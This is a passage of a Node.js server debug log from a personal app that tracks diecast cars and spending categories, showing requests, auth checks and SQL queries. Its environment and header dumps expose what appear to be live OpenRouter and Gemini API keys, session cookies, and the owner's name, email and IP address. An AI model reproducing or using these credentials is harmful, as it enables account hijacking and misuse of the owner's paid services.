      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:01:45.125Z server-connect:router Serving templateView /
2026-02-04T07:01:45.125Z server-connect:app Executing action step identify
2026-02-04T07:01:45.125Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:45.125Z server-connect:output identity: 1
2026-02-04T07:01:45.125Z server-connect:app Executing action step restrict
2026-02-04T07:01:45.125Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:45.125Z server-connect:output restrict: undefined
2026-02-04T07:01:45.125Z server-connect:app Executing action step restrict
2026-02-04T07:01:45.125Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:45.126Z server-connect:output restrict: undefined
2026-02-04T07:01:45.126Z server-connect:router Render template layouts/main
2026-02-04T07:01:45.126Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:01:49.006Z server-connect:router Serving templateView /diecast
2026-02-04T07:01:49.006Z server-connect:app Executing action step identify
2026-02-04T07:01:49.006Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.006Z server-connect:output identity: 1
2026-02-04T07:01:49.006Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.006Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:49.007Z server-connect:output restrict: undefined
2026-02-04T07:01:49.007Z server-connect:router Render template layouts/main
2026-02-04T07:01:49.007Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    condition: '',
    manufacturer: '72',
    search: '',
    series: '',
    brand: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=72&search=&series=&brand=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:01:49.898Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:01:49.899Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:01:49.900Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:01:49.901Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:01:49.901Z server-connect:app Executing action step identify
2026-02-04T07:01:49.901Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.901Z server-connect:output identity: 1
2026-02-04T07:01:49.901Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.902Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:01:49.902Z server-connect:output restrict: undefined
2026-02-04T07:01:49.902Z server-connect:app Executing action step select
2026-02-04T07:01:49.902Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:01:49.902Z server-connect:app Executing action step identify
2026-02-04T07:01:49.902Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.903Z server-connect:output identity: 1
2026-02-04T07:01:49.903Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.903Z server-connect:app Executing action step identify
2026-02-04T07:01:49.903Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.903Z server-connect:output identity: 1
2026-02-04T07:01:49.903Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.903Z server-connect:output restrict: undefined
2026-02-04T07:01:49.903Z server-connect:app Executing action step single
2026-02-04T07:01:49.903Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:01:49.904Z server-connect:app Executing action step identify
2026-02-04T07:01:49.904Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.904Z server-connect:output identity: 1
2026-02-04T07:01:49.904Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.904Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.905Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:01:49.906Z server-connect:output restrict: undefined
2026-02-04T07:01:49.906Z server-connect:app Executing action step select
2026-02-04T07:01:49.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:01:49.906Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:01:49.906Z server-connect:app Executing action step identify
2026-02-04T07:01:49.906Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.907Z server-connect:output identity: 1
2026-02-04T07:01:49.907Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.907Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.907Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:01:49.907Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:01:49.908Z server-connect:output restrict: undefined
2026-02-04T07:01:49.908Z server-connect:app Executing action step select
2026-02-04T07:01:49.908Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:01:49.908Z server-connect:output restrict: undefined
2026-02-04T07:01:49.908Z server-connect:app Executing action step paged
2026-02-04T07:01:49.908Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
